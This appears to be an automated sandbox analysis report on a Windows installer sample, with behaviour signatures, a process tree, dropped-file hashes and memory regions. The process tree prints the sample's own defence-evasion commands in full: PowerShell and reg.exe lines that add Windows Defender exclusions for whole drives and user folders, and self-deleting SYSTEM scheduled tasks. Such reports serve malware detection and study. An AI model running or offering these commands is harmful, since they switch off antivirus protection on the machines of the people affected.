Analysis

  • max time kernel
    151s
  • max time network
    154s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    05/08/2026, 03:39

General

  • Target
    inst_smt011.exe
  • Size 55.2MB
  • Sample260805-d7lalach52
  • SHA256 e48b8c385b3688a6ae15543ab1802c6a9f8cf980478fdb606ce0ac09ade78798
  • MD5 SHA1 SHA512 SSDEEP TLSH

Malware Config

Signatures

  • Windows security bypass 2 TTPs 8 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

  • Executes dropped EXE 2 IoCs
  • Loads dropped DLL 2 IoCs
  • Adds Run key to start application 2 TTPs 1 IoCs
  • Indicator Removal: Clear Persistence 1 TTPs 5 IoCs

    Clear artifacts associated with previously established persistence like scheduletasks on a host.

  • Drops file in System32 directory 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Executes a command shell one-liner 1 TTPs 4 IoCs

    Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

  • Scheduled Task/Job: Scheduled Task 1 TTPs 5 IoCs

    Schtasks is often used by malware for persistence or to perform post-infection execution.

  • Suspicious behavior: EnumeratesProcesses 64 IoCs
  • Suspicious behavior: LoadsDriver 6 IoCs
  • Suspicious use of AdjustPrivilegeToken 22 IoCs
  • Suspicious use of WriteProcessMemory 25 IoCs
  • Uses Task Scheduler COM API 1 TTPs

    The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.

Processes

  • C:\Users\Admin\AppData\Local\Temp\inst_smt011.exe
    "C:\Users\Admin\AppData\Local\Temp\inst_smt011.exe"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    PID:2768
  • C:\Users\Public\uoaGgC\PT4AdK.exe
    "C:\Users\Public\uoaGgC\PT4AdK.exe"
    1⤵
    • Executes dropped EXE
    • Loads dropped DLL
    • Adds Run key to start application
    • Drops file in System32 directory
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious use of WriteProcessMemory
    PID:1828
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" Add-MpPreference -ExclusionPath 'C:\ProgramData','C:\Users','C:\Program Files (x86)','C:\' -Force
      2⤵
      • Command and Scripting Interpreter: PowerShell
      • Suspicious use of AdjustPrivilegeToken
      PID:3508
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\uoaGgC\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
      2⤵
      • Indicator Removal: Clear Persistence
      • Suspicious use of WriteProcessMemory
      PID:6024
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Public\uoaGgC\" /t REG_DWORD /d 0 /f"
        3⤵
        • Scheduled Task/Job: Scheduled Task
        PID:1748
      • C:\Windows\system32\schtasks.exe
        SCHTASKS /Run /TN "Task1"
        3⤵
          PID:2208
        • C:\Windows\system32\schtasks.exe
          SCHTASKS /Delete /TN "Task1" /F
          3⤵
            PID:5640
        • C:\Windows\System32\cmd.exe
          "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
          2⤵
          • Indicator Removal: Clear Persistence
          • Suspicious use of WriteProcessMemory
          PID:2496
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\ProgramData\" /t REG_DWORD /d 0 /f"
            3⤵
            • Scheduled Task/Job: Scheduled Task
            PID:4152
          • C:\Windows\system32\schtasks.exe
            SCHTASKS /Run /TN "Task1"
            3⤵
              PID:4240
            • C:\Windows\system32\schtasks.exe
              SCHTASKS /Delete /TN "Task1" /F
              3⤵
                PID:2692
            • C:\Windows\System32\cmd.exe
              "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
              2⤵
              • Indicator Removal: Clear Persistence
              • Suspicious use of WriteProcessMemory
              PID:3456
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\" /t REG_DWORD /d 0 /f"
                3⤵
                • Scheduled Task/Job: Scheduled Task
                PID:3144
              • C:\Windows\system32\schtasks.exe
                SCHTASKS /Run /TN "Task1"
                3⤵
                  PID:3320
                • C:\Windows\system32\schtasks.exe
                  SCHTASKS /Delete /TN "Task1" /F
                  3⤵
                    PID:416
                • C:\Windows\System32\cmd.exe
                  "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                  2⤵
                  • Indicator Removal: Clear Persistence
                  • Suspicious use of WriteProcessMemory
                  PID:6108
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Program Files (x86)\" /t REG_DWORD /d 0 /f"
                    3⤵
                    • Scheduled Task/Job: Scheduled Task
                    PID:3496
                  • C:\Windows\system32\schtasks.exe
                    SCHTASKS /Run /TN "Task1"
                    3⤵
                      PID:3728
                    • C:\Windows\system32\schtasks.exe
                      SCHTASKS /Delete /TN "Task1" /F
                      3⤵
                        PID:3956
                    • C:\Windows\System32\cmd.exe
                      "C:\Windows\System32\cmd.exe" cmd.exe /c SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"%USERPROFILE%\Documents\" /t REG_DWORD /d 0 /f" & SCHTASKS /Run /TN "Task1" & SCHTASKS /Delete /TN "Task1" /F
                      2⤵
                      • Indicator Removal: Clear Persistence
                      • Suspicious use of WriteProcessMemory
                      PID:1588
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Create /F /TN "Task1" /SC ONCE /ST 00:00 /RL HIGHEST /RU "SYSTEM" /TR "cmd.exe /c reg add \"HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths\" /v \"C:\Users\Admin\Documents\" /t REG_DWORD /d 0 /f"
                        3⤵
                        • Scheduled Task/Job: Scheduled Task
                        PID:4320
                      • C:\Windows\system32\schtasks.exe
                        SCHTASKS /Run /TN "Task1"
                        3⤵
                          PID:4640
                        • C:\Windows\system32\schtasks.exe
                          SCHTASKS /Delete /TN "Task1" /F
                          3⤵
                            PID:3764
                      • C:\Users\Public\uoaGgC\PT4AdK.exe
                        "C:\Users\Public\uoaGgC\PT4AdK.exe"
                        1⤵
                        • Executes dropped EXE
                        • Loads dropped DLL
                        PID:1384
                      • C:\Windows\system32\cmd.exe
                        "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\uoaGgC" /t REG_DWORD /d 0 /f
                        1⤵
                        • Executes a command shell one-liner
                        • Suspicious use of WriteProcessMemory
                        PID:3236
                        • C:\Windows\System32\reg.exe
                          reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Public\uoaGgC" /t REG_DWORD /d 0 /f
                          2⤵
                          • Windows security bypass
                          PID:4740
                      • C:\Windows\system32\cmd.exe
                        cmd.exe
                        1⤵
                          PID:4296
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3548
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\ProgramData" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:4476
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:3288
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Program Files (x86)" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:5240
                        • C:\Windows\system32\cmd.exe
                          "cmd.exe" /c reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                          1⤵
                          • Executes a command shell one-liner
                          • Suspicious use of WriteProcessMemory
                          PID:1696
                          • C:\Windows\System32\reg.exe
                            reg add "HKLM\SOFTWARE\Microsoft\Windows Defender\Exclusions\Paths" /v "C:\Users\Admin\Documents" /t REG_DWORD /d 0 /f
                            2⤵
                            • Windows security bypass
                            PID:6104

                        Network

                              MITRE ATT&CK Enterprise v16

                              Replay Monitor

                              Loading Replay Monitor...

                              Downloads

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 1KB
                              • SHA256 63b14543360f5e89942ea8d5113526e64fbc71c1207328f0136b3a495d921dd0
                              • MD5 SHA1 SHA512 TLSH

                              1BA79029EC3FFD076F5DAC2F70A18685

                              • Path C:\Users\Admin\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\1BA79029EC3FFD076F5DAC2F70A18685
                              • Size 186B
                              • SHA256 852fd37fb46a8f79995cea3c5096532410d88f865e95e63e56a4acbfd65cafbc
                              • MD5 SHA1 SHA512 TLSH

                              PT4AdK.exe

                              • Path C:\Users\Public\uoaGgC\PT4AdK.exe
                              • Size 135KB
                              • SHA256 676a2a7b94ca2f8ec76352ee656e4d075bb342bd7ad6efbc7c19c060001eace7
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              UxEnhance64.dll

                              • Path C:\Users\Public\uoaGgC\UxEnhance64.dll
                              • Size 3.1MB
                              • SHA256 494e7757d7f405a5d449da15003590c0558d12c5c3947f6d4ad143fa32290729
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              adoresd.dat

                              • Path C:\Users\Public\uoaGgC\adoresd.dat
                              • Size 4.7MB
                              • SHA256 e5b32cc65c5c4d8302acf6d980963470d9bf2624c823d2737716a9651a483038
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              msadox.tb

                              • Path C:\Users\Public\uoaGgC\msadox.tb
                              • Size 8KB
                              • SHA256 e3ada810ce5be72727bbfaaafd5639e570dd10e3956f7874be87a2f8b2cb8a00
                              • MD5 SHA1 SHA512 SSDEEP TLSH

                              memory/1384-577-0x00007FFEE5790000-0x00007FFEE5CAE000-memory.dmp

                              memory/1384-580-0x0000023B28A20000-0x0000023B292B1000-memory.dmp

                              memory/1384-588-0x0000023B28A20000-0x0000023B292B1000-memory.dmp

                              memory/1384-589-0x0000023B28A20000-0x0000023B292B1000-memory.dmp

                              memory/1384-591-0x00007FFF080D0000-0x00007FFF080D2000-memory.dmp

                              memory/1384-590-0x0000023B28A20000-0x0000023B292B1000-memory.dmp

                              memory/1384-587-0x0000023B28A20000-0x0000023B292B1000-memory.dmp

                              memory/1384-582-0x00007FFF080E0000-0x00007FFF080E2000-memory.dmp

                              memory/1384-583-0x0000023B28A20000-0x0000023B292B1000-memory.dmp

                              memory/1828-546-0x000001DCF3E50000-0x000001DCF46E1000-memory.dmp

                              memory/1828-538-0x000001DCF3E50000-0x000001DCF46E1000-memory.dmp

                              memory/1828-547-0x000001DCF3E50000-0x000001DCF46E1000-memory.dmp

                              memory/1828-548-0x000001DCF3E50000-0x000001DCF46E1000-memory.dmp

                              memory/1828-552-0x000001DCF3E50000-0x000001DCF46E1000-memory.dmp

                              memory/1828-558-0x000001DCF3370000-0x000001DCF33BE000-memory.dmp

                              memory/1828-562-0x000001DCF46F0000-0x000001DCF477A000-memory.dmp

                              memory/1828-563-0x000001DCF46F0000-0x000001DCF477A000-memory.dmp

                              memory/1828-561-0x000001DCF46F0000-0x000001DCF477A000-memory.dmp

                              memory/1828-560-0x000001DCF46F0000-0x000001DCF477A000-memory.dmp

                              memory/1828-565-0x000001DCF3E50000-0x000001DCF46E1000-memory.dmp

                              memory/1828-567-0x000001DCF3E50000-0x000001DCF46E1000-memory.dmp

                              memory/1828-568-0x000001DCF3E50000-0x000001DCF46E1000-memory.dmp

                              memory/1828-532-0x00007FFF080D0000-0x00007FFF080D2000-memory.dmp

                              memory/1828-533-0x00007FFEE5790000-0x00007FFEE5CAE000-memory.dmp

                              memory/1828-540-0x00007FFF080E0000-0x00007FFF080E2000-memory.dmp

                              memory/1828-541-0x000001DCF3E50000-0x000001DCF46E1000-memory.dmp

                              memory/1828-545-0x000001DCF3E50000-0x000001DCF46E1000-memory.dmp

                              memory/2768-0-0x0000000005710000-0x000000000571D000-memory.dmp

                              memory/2768-527-0x00007FFEFF9A0000-0x00007FFEFF9B2000-memory.dmp

                              memory/2768-504-0x00007FFEFF9A0000-0x00007FFEFF9B2000-memory.dmp

                              memory/2768-526-0x0000000005710000-0x000000000571D000-memory.dmp

                              memory/2768-1-0x0000000005710000-0x000000000571D000-memory.dmp

                              memory/2768-2-0x0000000005720000-0x000000000572B000-memory.dmp

                              memory/3508-594-0x0000021557E80000-0x0000021557EA2000-memory.dmp

                              memory/3508-598-0x0000021557EB0000-0x0000021557ECE000-memory.dmp

                              memory/3508-599-0x0000021558120000-0x00000215581D2000-memory.dmp

                              memory/3508-600-0x0000021557ED0000-0x0000021557EDA000-memory.dmp